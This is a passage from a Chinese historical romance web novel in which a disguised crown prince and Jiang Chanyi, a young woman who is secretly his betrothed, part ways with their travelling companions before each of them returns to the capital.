“嗯,我前些时日听千洲说有了些进展。”燕鹤面色镇定道:“刑部查了京中解家,发现解家主不仅知情,还与多位官员有大笔金钱往来,如今已经下狱彻查,但至今还没有找到真实的账本。” “关于夙安卫氏之死,解家主也已招供,与我们先前所猜测一致,那日,卫氏送汤去书房,无意中撞破解延与黑酆门的人谈及私采矿金,卫氏出身书香门第,家风清正,无法接受丈夫做违反律法之事,欲写信告知娘家,被解延察觉灭口。” 姜蝉衣眸光沉了沉:“真可惜。” 可惜卫氏清雅端正,却所嫁非人,落得那样的结局。 徐青天捧着茶水,低声道:“天下之大,看似繁荣昌盛,实则底下不知藏着多少污垢,像卫氏这般蒙冤而死的人不知凡几,却不是每个人都能等来真相重见天日的那一天。” 燕鹤不动声色看他一眼,忽而问道:“院试将近,你准备的如何?” 徐青天缓缓抬头,看了眼姜蝉衣。 真有默契,问的话都一模一样。 “尚可。” 燕鹤见他似乎不欲多言,也就不再多问:“愿你这次能如愿高中。” 这话是发自真心的。 他们认识的时间也不短了,对彼此或多或少都有一些了解,在他看来,以他的文才不应该屡屡落榜,到如今还是童生。 “借燕公子吉言。”徐青天:“若能高中,届时定请各位喝酒。” 喝玉京最好的酒。 如果还有机会见面的话。 “行啊,那就等着你这杯酒了。”云广白用茶杯碰了碰他手中杯子,笑着道。 马车缓缓驶出锦城,他们并不知,此时锦城东城一座府邸正掀起轩然大波。 这座府邸主人家姓徐,祖辈曾是京官,致仕后回老宅安居,膝下只有一个儿子,父亲致仕,他跟着辞官回了锦城。 如今徐家虽未有官身,但在当地的地位却隐隐高过知州。 不仅因为徐老爷子曾是京中高官,还因如今徐家儿媳也就是徐家主母是京中阁老之女。 原本这位贵女求亲者络绎不绝,无不是高门大户,可她偏偏看上了徐家主,后来徐家主辞官,她毅然决然跟着来了锦城。 数年来,夫妻恩爱不疑,琴瑟和鸣,膝下亦只有一个儿子,算起来,已是三代单传。 小公子生来便聪颖,徐老爷子说像祖父,阁老说像外祖父,徐家主母说像自己,反正像谁都不会像父亲。 徐公子年纪轻轻已是解元,只待会试。 徐老爷子,阁老,徐家主母一致认为他必能高中,说不定还能三元及第。 对此,徐家主与有荣焉。 唯一不顺意的就是儿子的婚事。 从十八岁开始相看到如今二十有一,没有一个入徐公子的眼。 去岁除夕前又一次相看失败,徐家主母气的骂了儿子一顿:“不过才是解元,能不能高中谁知道呢,自个儿倒是先骄傲起来了,这么好的姑娘都瞧不上,你是有多大的野心,难道还想要娶公主不成!” 对此,徐公子觉得特别冤枉。 他是真的无心婚事,没有瞧不上人的意思,但他母亲不听,夜里跪了半宿的祠堂,说要磨磨他的傲气。 徐公子知晓母亲是怕自己年少轻狂,今后得意忘形,借此机会给他警示,乖乖的就去跪了。 经此一事,徐家主母已经不想再操心他的婚事了,想着人既然要去玉京,索性修书一封,请父亲帮忙相看。 锦城姑娘瞧不中,玉京贵女总有合心意的吧,要再没有,她就要怀疑儿子有问题了。 可谁成想,突然得到消息儿子竟与一位姑娘相会。 徐家当即炸开了锅。 “这个孽障,他是疯魔了不成,竟敢拉着人家姑娘私会!” 徐老爷子脸色也不好看,问儿媳:“他先前可曾与你说起过谁家姑娘?” 徐家主母明白徐老爷子的意思,道:“不曾提过,我一直同他说门第虽重要,但更重要的是看对方家风品性,他应该不会因此瞒我与人私会。” 徐家主有不同意见:“可能是才遇上呢?” 徐老爷子狠狠瞪他一眼:“你知道什么叫做相约,什么叫做友人?” “书童明言他此次偷跑出去就是赴约,哪来的初遇?” 徐家主:“……” 他虽不是当官的料,但这几个字还是懂的,这不是看他们着急,安慰安慰么。 一家人在书房商量了半天,最终徐家主母决定,应先去将人逮回来拷问。 “眼下还是先弄清楚这是不是他真心喜欢的姑娘,若是,我便去姑娘家中见一面,只要家风清正,便去提亲。” 然而等他们派出人时,儿子已经出了城,半个影子都寻不见了。 徐家主也开始发慌了:“该不会带人私奔了吧。” 这话气的徐老爷子拿拐杖追着他打:“你看看你说的什么混账话,你儿子什么性子你还不清楚,他能干出这种事?!” 徐家主母懒得看他们爷俩发疯,立刻着手开始调查那姑娘的身份。 不管怎样,都得先知道他到底拐走的是谁。 _ 徐青天对这一切一无所知,正在暖和的马车里酣睡。 吃饱喝足,马车里又暖烘烘的,很容易滋生困意,出城不久几人都先后睡了过去。 除了燕鹤。 姜蝉衣心中想着要与燕鹤保持距离,睡着时头偏向另一边,身上的披风不知何时落到了腿间。 燕鹤看见了。 他犹豫再三,终还是起身过去将披风给她轻轻盖上,马车里烧着碳,不能全部封闭,留了风口,这么睡着很容易着凉。 然就在这时,马车好像压到什么微微晃了晃,姜蝉衣的头眼看就要撞到车壁,燕鹤下意识伸手想托住她的脑袋,然后猝不及防的,掌心贴上一片柔软。 却是因动作间姜蝉衣的唇意外的贴在他的掌心。 那一瞬,燕鹤整个人僵住不敢动弹。 被小王爷磨炼出来的处变不惊,泰山崩于前面不改色,尽数化为乌有。 只剩一片慌乱和如雷的心跳。 对一切事好像都能运筹帷幄的太子也终于有了手脚无措的时候。 金酒隐约听到里头有动静,想着几位都睡着了,没有出声惊扰,只轻轻拉开一点门缝往里看了眼。 这一眼,差点将他惊下马去! 殿下在做什么! 突然灌了几丝冷风进来,燕鹤猛然清醒几分,抬眸对上金酒惊愕的眼神,他尽力稳住心神缓缓抽回手,平静地坐回原位。 好像什么也不曾发生过。 金酒唇角蠕动半晌,终是什么也没说,恍惚的关上车门继续赶马车。 姜蝉衣睡得熟,并没有被惊醒,而因方才马车晃动被栽过来的云广白扰醒的徐青天目睹了一切。 他没敢明目张胆的瞧,只半眯着眼睛偷偷看,待燕鹤走回来时又飞快的闭上眼装睡,只唇角隐隐弯起了一个弧度。 燕鹤坐回去,书已是看不下去,只觉掌心分外滚烫,像是正烧着一块碳,灼的人心焦意乱。 以至于本该轻易发现有人醒来的他完全没有察觉到。 这种失控很陌生,也让人感到很危险,燕鹤轻轻闭上眼,想政务,想案子,努力让自己的情绪平复。 很费力,但勉强能做到。 大约过了一刻钟,他慢慢睁开眼,眼底又是一如既往的温淡。 徐青天已经又睡了过去。 燕鹤轻轻拿出笔墨,写了张纸条交给了金酒,金酒还处于凌乱中,心不在焉的看了眼纸条,随后面色一凝。 查徐青天? 他立刻收回心思,神情严肃的往后看去,原来是殿下认为徐青天的文才不应该才是童生,怕这里头有什么猫腻。 金酒吹了声口哨,将纸条递出,很快便有人凭空而来从他手中接过纸条,下一瞬又消失无踪。 随后,马车里连续递了好几次纸条,金酒一一往下传达,心中生疑,殿下怎么突然这么多事要处理? 第67章 第 67 章 姜姑娘仰慕殿下,才夜探…… 进墉州城时正逢天光黯淡, 华灯初上,姜蝉衣云广白都想去夜市,徐青天与他们一道, 燕鹤则借口有些疲乏先回了客栈。 刚洗漱完,金酒便进来禀报:“殿下, 查徐公子的人回来了。” 燕鹤拢了拢广袖坐下:“让他进来。” 片刻,暗卫走进房间恭敬行礼:“殿下。” “如何?”燕鹤。 暗卫正色道:“回禀殿下,属下查了整个江南, 没有叫做徐青天的童生, 且近几年考试名单中也没有这个名字。” 燕鹤一怔:“没有?” 金酒也不由愣了愣。 暗卫不可能查错, 那错的就必然是徐青天的身份。 “或者,徐公子不是江南人?” 燕鹤微微皱眉:“他是江南人。” 口音骗不了人。 屋内寂静了良久后, 金酒试探道:“那就只剩两个可能。” “他不是童生,或者他的名字是假的。” 相比起来,燕鹤更相信后者, 毕竟他的名字也是假的。 “殿下,那还要往下查吗?” 燕鹤沉默半晌后,摇头:“不必查了。” 他本意是怕徐青天屡次落榜可能遭遇什么不公,如今看来他也有秘密,如此, 那就不必再查下去了。 他人的秘密,没必要过多窥探。 暗卫退下后, 金酒继续禀报道:“姜姑娘方才去了知州府, 墉州见过殿下的人都打点好了,只说殿下已经回了玉京。” 燕鹤端茶盏的手顿了顿,她竟这般急切见他,为何? “你知会知州府的人一声, 若她找上他们,让他们打探一下缘由。” “是。”金酒领命而去。 姜蝉衣寻了个借口与云广白徐青天分开,连夜潜进知州府。 她没有拜帖,光明正大求见必然是进不去的。 摸了一圈,她却并没有在府邸发现什么异常,更没有探到太子的住处,遂偷了套丫鬟的衣裳准备去打探一二,过程很顺利,但结果不尽人意。 “什么,殿下回京了?什么时候走的?” 丫鬟眼神奇怪的看着她:“殿下前几日就回京了啊,你怎么会不知道?” “对了,你是哪个院里的?我怎么没见过你。” 姜蝉衣陪笑道:“新来的。” 心中则极其失落,太子怎么就回京了呢,几日前出发,如今就算追也追不上了。 看来,只能去京中退婚了。 “哦。” 丫鬟似乎放下疑心,随口道:“你找殿下做什么?” 当然是退婚啊! 但这话却是不能说的。 姜蝉衣:“好奇,听闻太子殿下龙章凤姿,出尘绝世,我想见一见。” 丫鬟眼神闪了闪:“就这?” “对啊。” 扑了个空,姜蝉衣不打算再留下去,找了个借口同丫鬟分开,换回衣裳后翻墙出了知州府。 而她不知,丫鬟目送她离开后,去了书房。 “只是想见殿下?” 知州大人皱眉:“或许也是借口。” 丫鬟颔首:“奴婢见她说的真切,不似作假。” 知州大人沉默了。 这要他怎么回禀。 不对,太子殿下怎对一个姑娘如此上心,知州想起什么,忙问:“当真说的真切?” 丫鬟点头:“是。” 知州大人若有所思。 这位姑娘夜里来找太子殿下,里头可大有说法,且太子殿下还猜到她会来,难道…… 知州大人心头一惊,忙唤了人来:“快去回禀,那位姑娘称仰慕殿下已久,想见殿下一面。” 这莫不是殿下与人姑娘之间的什么情趣,他可不能坏了殿下好事。 _ 姜蝉衣去了趟夜市,寻不到云广白徐青天便先回了客栈,此行虽没见到太子,但好在离她回京的时候也不远了,去了玉京必能找机会见到太子。 实在不行,再请父亲出面。 理由她都想好了,心疾未愈,不适合做储妃。 燕鹤立在窗边看着姜蝉衣走进客栈,才落下窗,这时,金酒推开门走到燕鹤跟前,神色略有些古怪:“殿下,知州府的消息送过来了。” 燕鹤:“如何说?” 金酒看着他:“……那边说,姜姑娘仰慕殿下,才夜探知州府。” 他感觉自己脑子有些转不过来了。 殿下喜欢姜姑娘,而姜姑娘却喜欢素昧蒙面的太子殿下,却不是化名燕鹤的殿下,可偏偏这又是同一个人,所以,这还算两情相悦吗? 这个答案全然不在燕鹤意料之中。 他足足怔了好几息,才堪堪回神:“她原话是如何说的?” 金酒重复知州的禀报:“太子殿下龙章凤姿,出尘绝世,仰慕已久,只求一见。” 燕鹤缓缓垂下眼睑。 从一开始他就发现了,她喜欢他这张脸,但那时他看的清楚,只是欣赏,并无其他,直到落霞门醉酒那次,她唤了他的字,他才隐约感知到什么,遂决定不赴此约。 难道,是他多想了? 从头到尾,她其实只是喜欢好看的人? 良久后,燕鹤无声一笑,摇了摇头:“罢了,不必再查了。” 许是他庸人自扰罢了。 金酒:“是。” 接下来的几日,几人去逛了墉州颇负盛名的景点,吃了当地的特色美食,还游了湖听了曲,没有案子,没有追杀,这一次几人都玩的很开心。 这日,云广白晃晃悠悠的从游船上下来,去寻茅厕,然刚从茅厕出来就差点撞上一个人。 “抱歉……” 他边道歉边抬起头,然后目光一凝,而后面色大变:“叔……你怎么在这!” 在茅厕外堵他的是位青年男子,身高体壮,一看便不是寻常人,正是大将军身边的副将宋赤雨。 “少将军一整日都和他们在一处,我只有寻这个时间见你。” 云广白酒顷刻间酒醒了不少,慌忙看了眼四周,没瞧见其他人后一把将人拉到阴暗处,问:“叔你怎么找到我的,找我作甚?父亲生气了?要抓我回去了?” 宋赤雨一板一眼答道:“我拿着少将军的画像一路问过来的,大将军确实生气,但没有要抓少将军回去。” 云广白松了口气:“那就好,叔你回去同父亲说,我过几月就回去了。” 宋赤雨却神情严肃道:“少将军,太上皇大寿将近,京中有令,大将军携家眷进京贺寿。” 云广白一怔。 “什么时候的事,我怎么不知道?” 宋赤雨:“圣旨是除夕次日到的。” 云广白是除夕后偷跑的,恰好错过了。 云广白:“……” 他几乎能想到接旨时找不到他人,父亲是怎样的雷霆大怒。 云广白忍不住打了个冷颤。 “大将军,夫人,姑娘已经在进京的路上,请少将军立刻启程,前往玉京会和。”宋赤雨道。 云广白动了动唇,很想拒绝,但也知道不可能抗旨,闷声道:“知道了。” 宋赤雨仍旧不动。 云广白:“……我会去玉京的,但得容我跟朋友告个别吧。” 宋赤雨盯着他。 云广白无奈:“……叔,放心,我真的不会跑,你明日午后在东城门口等我。” 宋赤雨这才点头:“好。” “我已经同墉州几个城门都打了招呼,给了少将军画像,一但少将军偷跑,立刻绑了。” 云广白唇角一抽:“知道了叔。” 他就那么不可信吗! 而另一边,徐青天见云广白迟迟不归,想着他喝了不少酒怕人醉倒在哪个角落便下船来寻,一下船就看到几张熟悉的面孔,正在四处张望,显然是来寻人的,他瞳孔一震,在他们看过来前飞快躲开。 确认他们离开,他才从柱子后走出来,心头很是奇怪,以前他也经常偷跑出远门,怎么这一次竟还派人来找他了。 难道出了什么事? 第68章 第 68 章 愿诸位一路顺风 夜色中, 灯火璀璨,游船上只挂着几盏灯笼,光影与昏暗交织。 姜蝉衣趴在边上静静地看着不远处的歌舞, 丝竹声悦耳,舞女身姿灵动。 美酒美人, 安逸而奢靡。 她有些醉了,和寻常不同的安静。 云广白徐青天不知去了何处,船上只剩下两个人, 燕鹤端坐在茶台旁, 似乎也是在欣赏歌舞。 但实则只有他自己清楚, 他的心思一直在姜蝉衣的身上。 她方才喝了酒嫌热脱了大氅,天气本就寒凉, 湖上更是风大,醉酒后这么趴着很容易着凉。 可云广白徐青天却迟迟不归。 又一次看过去时,人已经闭上了眼, 燕鹤心中一动,指尖轻轻摩挲着。 他沉下心等了片刻,缓缓起身拿起被姜蝉衣搁置在一旁的大氅,轻轻给她披上身上。 可披风才落下,她便睁了眼, 燕鹤目光一紧,四目相对, 半晌寂静。 夜色中, 她的眼睛仍如初见那般明亮,可今时今日,他却已经不敢直视。 燕鹤故作淡然的直起身子,语气温淡道:“夜里风大, 小心着凉。” 姜蝉衣眼也不错的看着他,目光称得上灼热,就在燕鹤想要找借口离开时,她才随意挪开视线,不轻不重的喔了声。 “谢谢。” 她的视线又落在舞女身上,好像并没有将方才的事放在心上。 然只有她自己清楚,方才那一瞬心底是怎样的翻涌起伏。 她虽惯来随性,但在重要的事情上还算谨慎,什么该做,什么不该做她心中也有些数。 但方才睁开眼看到他的那一刹那,她心头冒出一个强烈的念头,吻他,方才他们近在咫尺,只要她轻轻仰头就能得偿所愿,幸好,她克制住了。 她不能害了他。 “风大了,回去吧。” 姜蝉衣抬眼状似无意的看了眼燕鹤一眼,缓缓起身,道:“他们还没回来。” “我让金酒去找,先上马车。”燕鹤。 姜蝉衣:“好。” 她抱起大氅站起身,突然,心间飞快闪过一个念头,他提出回去,莫不是怕她着凉? 如此想着,姜蝉衣又飞快看了眼燕鹤,但他面上平静无波,看不出旁的。 或许是她想多了。 二人一前一后下了游船,仍没看到云广白徐青天,燕鹤便让金酒留下寻人。 姜蝉衣坐上马车时不由打了个冷颤,方才在外头不觉,眼下才感觉到寒凉。 她下意识往炭盆的方向挪了挪。 燕鹤见此,将金酒准备好的汤婆子递给她。 姜蝉衣愣了愣,拒绝:“这是给敏砚准备的,我不冷。” 燕鹤没有收回去,坚持道:“拿着,再让人备一个就是。” 姜蝉衣犹豫片刻,这才接过来。 之后半晌二人相对无言。 不知从何时开始,他们之间的话少了起来,但即便如此,独处时也并不尴尬,反而很平静和谐。 毕竟几次并肩作战,历经生死,那些陌生和生疏早就已经消弭了。 过了大约一刻钟,金酒带着云广白和徐青天回来了,徐青天被冻的脸色发青,姜蝉衣赶紧将怀里的汤婆子递过去:“这么冷,你们去哪里了?” 徐青天想也没想的接过来抱着,声音直哆嗦:“我去找他,迷路了,幸好金酒找过来。” 燕鹤看了眼被他抱在怀里的汤婆子,指尖微动了动,正要吩咐金酒再去备一个,就听姜蝉衣道:“那快些回去,让厨房熬碗姜汤。” 云广白酒醒了不少,见此心头有些内疚,把自己的大氅也放到徐青天身上:“我从茅厕出来也走岔了路。” 燕鹤咽回将要出口的话,让金酒驾车回客栈。 下了马车,金酒趁着姜蝉衣几人落后一段路的功夫,走到燕鹤身边低声禀报道:“殿下,玉京来信,请殿下立刻回京。” 燕鹤:“出了何事?” 金酒回道:“边关的宋大将军进京贺寿,陛下令殿下出城迎接,还有……” 此事燕鹤自是知晓,原本他也是打算赶回去的,而后见金酒神情有些古怪,欲言又止,他道:“直说就是。” 金酒飞快瞥了眼后头照顾徐青天的姜蝉衣,道:“相国嫡女要回京了,陛下也命殿下亲迎。” 若是以往或许不必,可如今不一样,那位已是未来储妃,又十多年不回京,而今归京,理应殿下亲迎。 燕鹤知道褚婉卿今年回京,但他没想到会这么快,闻言怔忡了片刻,才低声道:“知道了。” “让人熬几碗姜汤送到房间。” 金酒恭敬应是。 燕鹤房里已经有人烧好了碳,几人围着火盆而坐,徐青天的脸上也稍微有了些颜色,没过多久金酒送来姜汤,云广白立刻拒绝:“我有内力傍身,冻不着,不需要喝这个……” 对上燕鹤淡淡的眸子,云广白闭了嘴,拿起一碗:“需要,我最爱喝姜汤了。” 姜蝉衣徐青天对视一眼,各自默默地喝完了姜汤。 但桌子上还有一碗。 三人不约而同看向没有动作的燕鹤,他好像并不打算喝。 燕鹤确实没这个打算,他也没想到金酒还给他端了一碗,他很清楚他并不需要,可对上那三双炯炯有神的眼睛,他咽回解释的话,端起来喝了。 三人这才挪开视线。 屋里很暖和,与外头仿若两个世界。 而几人又各怀心思,一时间谁也没有说回房歇息。 不知过了多久,燕鹤先开了口:“我刚收到家中来信,需要立刻回去一趟。” 云广白闻言飞快抬眸看了眼燕鹤,他正想着该如何辞行,没成想他竟也要走。 徐青天亦是愣了愣。 他方才偷偷跟着前来寻他的人,听到他们说话才知道他和蝉衣姑娘在锦城吃的那顿羊肉粉引起了多大的轰动,眼下母亲正在四处寻人,不仅寻他,还在查蝉衣姑娘。 他了解母亲,若他方才现身解释,他们绝对不会听,定会立刻将他绑了送回锦城,说不定还要连累蝉衣姑娘。 所以他想着先回来同他们道别,再回去好生解释,且春闱在即,他也该进京了。 姜蝉衣从船上下来后心头就一直装着一件事。 退婚! 她要退了婚再来找他,刻不容缓! 但她又实在有些舍不得就这么分开,这一分别也不知道什么才能再见到。 心思各异,几人你看看我我看看你,好半晌,云广白摸了摸鼻子,道:“贼无走空,这次例外。” 他还没来得及去干点什么,通缉榜也一个还没有揭过,有点遗憾。 徐青天清了清嗓子,跟着道:“科考在即,屡败屡战。” 这次分别后也不知还有没有再见的那一天。 几人都表了态,不约而同看向一直没吭声的姜蝉衣。 大师姐在几人的注视下,小声道:“……回去退个婚。” 一语惊起四座。 云广白瞪大双眼:“你有婚约?!” 徐青天瞥了眼燕鹤,道:“何时的事,先前未曾听你提过。” 燕鹤的反应倒比他们更平静,但也紧紧盯着姜蝉衣。 “我……我也是刚知道的。” 姜蝉衣飞快看了眼燕鹤,解释道:“除夕前家里定下的,我不知情,也没见过彼此。” 云广白兴致盎然:“是哪里的人?” 姜蝉衣低下头,错开他们的视线:“不知道。” 云广白还想追问,被徐青天打断:“如此,那就愿蝉衣姑娘得偿所愿。” 云广白遂也跟着道:“对对对,愿蝉衣姑娘得觅良人。” 燕鹤低头喝茶,没作声。 云广白仿若没察觉到室内有些微妙的气氛,咧嘴笑道:“那就愿诸位一帆风顺,我们有缘再聚。” 燕鹤抬眸:“嗯,有缘再聚。” 徐青天问道:“你们何时走?” 燕鹤:“明日便要离开。” 云广白:“明日。” 姜蝉衣看了看几人:“……我也明日回去。” 这场重逢太过短暂,分别的也很突兀仓促,之后很久都没人说话。 还是云广白开口打破了沉寂,少年咧嘴笑着:“有分别才有重逢,明年三月你们若有空,我在此恭候各位。” “将来若见不见面也可送信至此,如此,也不至于断了联系。” 除了知道姜蝉衣在落霞门,其他几人都是天南海北不知所在,若不留下个联络点,或许真就见不到了。 云广白的提议得到了一致认可。 徐青天忙道:“我每年会来此查看。” 他来不了了,差人来总是行的。 姜蝉衣也道:“那就这么说定了。” 就算明年三月见不到他,也能有办法联系到,再好不过。 燕鹤看了她一眼,点头:“嗯,有缘再聚。” 云广白闻言站起身,拱手道:“那就此别过,明日就不与各位道别了。” 几人也都站起身作别。 “再会。” 徐青天拉着云广白先离开,姜蝉衣留到了最后,她想同他说些什么,可又不知应该说什么,于是便沉默了下来。 而燕鹤心中非常清楚,这必然是他们最后一次见面,人总有私心,这一刻,他难免希望时间过得再慢些。 第一次分别后他让人铸了一把剑,本想送她,可后来想着若无再见之日,又何必留念想。 那把剑便一直没有送出去。 如今,更是无法送了。 她为何要退婚,他更不敢细想。 “你明年会来这里吗?” 姜蝉衣思索半晌,问道。 不管什么话好像都不适合这时说,她只能确定他是否还会赴约。 燕鹤目光微紧,而后温声道:“或许不能来了。” 姜蝉衣一怔,还不待她问,就听他道:“我与姜姑娘一样,也有婚约在身,家中长辈定下,无可更改,婚期,或就在明年。” 他有婚约,无可更改! 几个字犹如一盆凉水当头泼下,让姜蝉衣顷刻间清醒了不少。 浑身好似又感觉到了一片凉意。 是了,他已过及冠,有婚约很正常,是她忽略了。 既有婚约,她便不该再存什么念想。 燕鹤别开眼,没再继续往下说。 不知过了多久,姜蝉衣才恍然回神,勉强扯出一抹笑,掩饰般道:“喔,那恭喜啊,若有空,我们去吃喜酒。” 这话不过是随口而出,她不可能去。 光是说着就觉心如针扎,又怎么可能眼睁睁看他成婚。 燕鹤没答应。 他不可能给她发喜帖。 明白她与自己有着同样的心意后,他就知道他们之间适合快刀斩乱麻,在一切未戳破之时离开,是对彼此最好的选择。 姜蝉衣也没等燕鹤回答,便接着道:“那祝你一路顺风,再见。” 姜蝉衣走的很干脆,直到回到房间才发现眼角已然湿润。 但她从不是优柔寡断的性子,哪怕那个人是她很喜欢很喜欢的,哪怕此时心痛难忍。 若是旁的缘由,她会去争取,但偏偏是已有婚约在身。 她不会做拆人姻缘的事。 可她心底很难受,很难受,她不知道此时该做什么,该怎么办。 她靠着门缓缓蹲下,抱着膝盖,任由泪水悄无声息落下。 燕鹤自姜蝉衣离开后就没有动。 理智是一回事,情感又是另一回事,即便他清楚怎么做是最正确的,也做了正确的选择,但不妨碍他难过的快要窒息。 若她无意,他自不会这般痛苦。 许久后,金酒推门进来,看见燕鹤的神情时不由一怔,而后才走过来,低声道:“殿下,姜姑娘走了。” 燕鹤闭了闭眼。 他听见了开门的声音,那时已隐有所感,他费了很大的力气才控制自己没追出去。 “殿下,要不属下去追回……” “让人暗中跟着。”燕鹤睁开眼,打断他:“寒夜路难行,沿路打点好,护送她回去,不要让她发现。” 金酒几番欲言又止后,终是作罢:“是。” 婚约无法退,殿下也不舍得委屈姜姑娘,这是一盘死棋。 无解。 第69章 第 69 章 打起来了? 玉京, 东宫。 殿试刚刚结束,圣上命太子备琼林宴,此时太子案前放了此次新科进士的一些答卷, 方便太子对琼林宴上的新科进士有一定的了解。 这些答卷太子大都见过,放榜之前圣上宣太子一一瞧过, 只是那时封了名姓,如今再看只是要对上名姓。 今年科考很是轰动,以往前三里头能出一个年轻才俊便是难得, 而今年前三甲皆是年岁尚轻, 一表人才。 最年长的榜眼也不过而立, 状元探花则都是及冠之年,且都未有婚约在身, 尤其是状元郎竟是内阁杨阁老的外孙,身世显赫,一表人才, 更是不少人眼中的佳婿,各家贵女早早定了临街阁楼,昨日游街万人空巷,手帕鲜花都快将状元郎和探花郎淹没了。 京中已经许久没有过这样的阵仗了。 太子曾听小王爷说过,二十年前也曾有过这样的盛况, 只是那一次,前三甲除了相国大人都没有好的结局。 探花郎勾结敌国, 榜眼与他同归于尽。 太子谢崇已经细细读过这些答卷, 只翻了名字粗略过了一遍,最后翻到状元郎时,他的动作微滞。 这篇答卷他曾看的最久,也是最合意的一篇, 被点状元在他的意料之中。 让他心绪起伏的是上面的名字。 徐清宴。 昨日他便知晓新科状元乃是杨阁老外孙徐清宴,当时另有要务并未细听,眼下瞧着这个名字,不免让他想起了一位友人,耳边好像又响起故人温润的嗓音。 ‘屡战屡败,屡败屡战,我会考上状元的’ 也不知他此次考试是否顺利。 而后,谢崇神情突然一顿,据曾查证,近年考生中没有徐青天这个名字,要么名字或是假的,要么他没有参加科举,若名字是假的…… 太子低头盯着那俊逸的三个字,低喃道:“徐青天,徐清宴。” 名字竟越看越有些相近。 “徐清宴是何方人士?” 一旁伺候笔墨的内侍闻言回道:“回殿下,奴才只知新科状元是杨阁老的外孙,并不知是哪个徐家。” “奴才倒是没听说杨阁老嫁女出京,不过那是二十多年前的事了,奴才知之甚少。” 太子闻言心中疑虑散去了些。 若是京中人士,徐青天对玉京全然不熟,更是从未来过,便不可能是同一人。 “可要奴才去查看户籍?” 参加科举的考生户籍如今都在主考官处,只要去调来一看便知。 “不必。” 谢崇道:“应不可能是他。” 如今人刚中状元,他着人打探,必又会引来一些莫须有的猜测。 还有几日就是琼林宴,届时一见便知。 谢崇随后想起什么,问:“褚二姑娘与小将军何时到?” 内侍回禀道:“今儿个得到消息,褚二姑娘还有两日,而根据驿站传回的消息,小将军也就两日左右进京,若是巧,还能同一天到呢。” 太子合上答卷,抬手捏了捏眉心。 自从回宫他便一直在东宫处理政务,几乎没有出过宫殿,只要不让自己得闲,就不会总去回忆。 只入睡之前,脑海中还是会不受控的浮现那张明艳的脸。 他能做的只有克制。 “奴才昨儿还听了一耳朵,这小将军是偷跑出去的,这才没能跟大将军一道进京。”内侍道:“奴才还听说,大将军怒气未消,正派人在城门守着呢,恐怕这小将军进京就得领顿军棍。” 谢崇怔了怔,还未言语外头便有动静传来,是圣上身边的小太监。 “殿下,小将军不日进京,陛下请太子殿下先将军府一步将人接进宫。” 谢崇与身边内侍对视一眼,道:“知道了。” 小太监一走,内侍便道:“陛下这是怕小将军挨打呢。” 谢崇轻笑了笑。 恐怕不是父皇怕小将军挨打,而是明亲王府,这位镇守边关的大将军是小婶婶名义上的长兄,多半是小婶婶知道长兄去堵人,才差人送信进宫让他出面去护。 “这位小将军每次进京都是好一番热闹。”内侍笑着道。 上回进京不知怎地惹了公主殿下,被公主殿下提着鞭子追了八天八夜,闹得惊天动地,最后还是乔太傅出面了结了这场官司。 谢崇也想起了这事。 前几日母后还同他提过,有招小将军为驸马之意,让他趁着此次人进了京好生过过眼。 谢崇知道母后有此想法是因去岁谢瑜偷跑去了边关找小将军报仇,虽后头他也同母后说过,谢瑜并非真是冲着小将军去的,偏母后不知怎地就认为谢瑜对他有意。 既如此,他便好生会一会,难得有个能制得住谢瑜的,若其堪为良配,二人也都愿意,这桩婚事他乐见其成。 “让人在城门仔细盯着,不可让将军府把人带走。” 他会在小将军进京当日去城门接人,但这位小将军一听就不是个守规矩的,怕就怕他提前偷摸摸的进了京。 这毕竟是将军府的家事,届时他总不好去将军府要人。 谢崇吩咐完,突然反应过来,或许让他去救人还真是父皇自己的意思。 不止母后,父皇怕也是有招其为驸马之意的。 谢崇若有所思,大将军已镇守边关多年,父皇莫不是想调回京中? 如今国泰民安,几处边关虽偶有冲突,也不过是小打小闹,短时间内不可能起战事,将大将军调回京中也未尝不可。 _ 转眼便是两日过去。 恰被太子内侍说中,褚二姑娘与小将军竟真是同日到京。 但都没料到,巧合的过了头。 他们不止同一天到,还在同一时间到了玉京城外。 接姜蝉衣的是她的同胞兄长,褚方绎。 自姜蝉衣一岁离家,这是兄妹二人第一次见面,即便常有书信往来,初初相见还是有些许生疏,不过这一路行来,那点儿生疏也就消弭无踪了。 褚方绎的性子像极父亲,温文尔雅,书卷气浓,看妹妹的眼里全是疼爱,温柔体贴,便是想生疏都都不行。 不过月余,兄妹之间已很是亲近默契。 “前面便是玉京城门了。”看见姜蝉衣打帘探望,褚方绎便道:“我给家中去了信,此时应已有人在城门迎接。” 姜蝉衣闻言细细看了眼城门口,而后面上一惊:“阿兄,那么多人吗?” 褚方绎边笑着回她边随意往城门看了眼:“你刚回来,家中自然要多派些人手过来……” 褚方绎话音顿止,眉头微拧。 相国嫡女回京,排场不能小。 毕竟离家十七年,回京时必要为她造些声势,让玉京都知晓褚家二姑娘回家了。 但,这阵仗好像太大了些。 一眼瞧去,乌泱泱大几十号人! 不过很快褚方绎就看明白了,向妹妹解释道:“并非都是我们家的。” “那一队穿青蓝色衣裳的是我们家的人,旁边红黑相间的劲装,应该是武将………” 褚方绎话音一顿,低喃道:“莫非小将军也是今日回京。” 姜蝉衣忙问:“哪个小将军?” “镇守边关的镇国大将国宋长策宋大将军之子,宋少凌。”妹妹刚刚回京,对京中诸事皆不知晓,褚方绎便细细说与她听:“宋大将军镇守边关已近四十年,今岁接旨进京贺寿,但宋家公子不知因何不在队伍中。” 他倒是听到了一点风声,说是这位小将军过了除夕就偷偷跑了,连圣旨都没接到。 “我看他们衣着不像是其他武将家的,多半是宋大将军派人来接小将军。” 姜蝉衣喔了声:“那还真是巧,那中间那一队人呢?” 中间的人数虽不及他们家和将军府,但她感觉,两边的人对他们都很恭敬。 褚方绎早已经看见了,闻言别有深意的看了眼妹妹,道:“那是东宫的人。” 姜蝉衣一怔。 太子?! 太子派人来作甚? 褚方绎看出妹妹的疑惑,轻声道:“你与太子殿下已有婚约,今日回京,东宫来人在情理之中。” 姜蝉衣眸间划过一道沉思。 太子竟是派人来接她的,如此,是不是代表他并不排斥这桩婚事? 若是这样,这婚还退得了吗? 马车缓缓前行,即将转弯进入通向城门口的官道,与此同时,对面也有一辆马车迎面而来,两边都欲驶向城门。 方才两边都被城门口的阵仗所惊,一时都没察觉对面有马车驶来,如今发现,已经各占了半边道。 两边车夫看见对面马车上的图徽都几乎同时喝马,可没想到就在这时,一匹马径直从两辆马车中间奔过。 马儿受惊,两边马车也剧烈摇晃,褚方绎只是一介文弱书生,哪里经得住这颠簸,一头撞在马车车壁上,当即就见了红。 变故发生的太快,姜蝉衣也来不及做什么反应,将长兄拉住时,已经晚了。 